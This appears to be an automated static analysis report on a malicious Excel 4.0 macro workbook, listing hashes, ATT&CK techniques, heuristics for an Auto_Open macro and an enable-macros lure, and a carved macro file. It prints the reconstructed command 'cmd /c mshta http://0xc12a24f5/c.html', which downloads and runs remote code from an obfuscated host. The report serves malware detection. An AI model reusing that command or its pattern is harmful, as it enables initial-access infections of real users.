Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e94d354027a495f0…

MALICIOUS

Office (OLE) / .XLS

65.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 90b552852e7b78568538ad85d1e41e12 SHA-1: 478854e50ce47fbe53387b4d1d87d693df10c370 SHA-256: e94d354027a495f0de7a2c42b40086401910de17005fddfe1966bfb1fc165aa8
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: User Execution: Malicious File T1566.001 Phishing: Spearphishing Attachment

This Excel 4.0 macro sheet contains an Auto_Open macro that is configured to execute a command. The macro reconstructs the command 'cmd /c mshta http://0xc12a24f5/c.html', which will download and execute content from the specified URL. The document body also contains a lure to enable macros, further supporting its malicious intent. The presence of an Auto_Open macro and the execution of an external command are strong indicators of a downloader or initial access payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes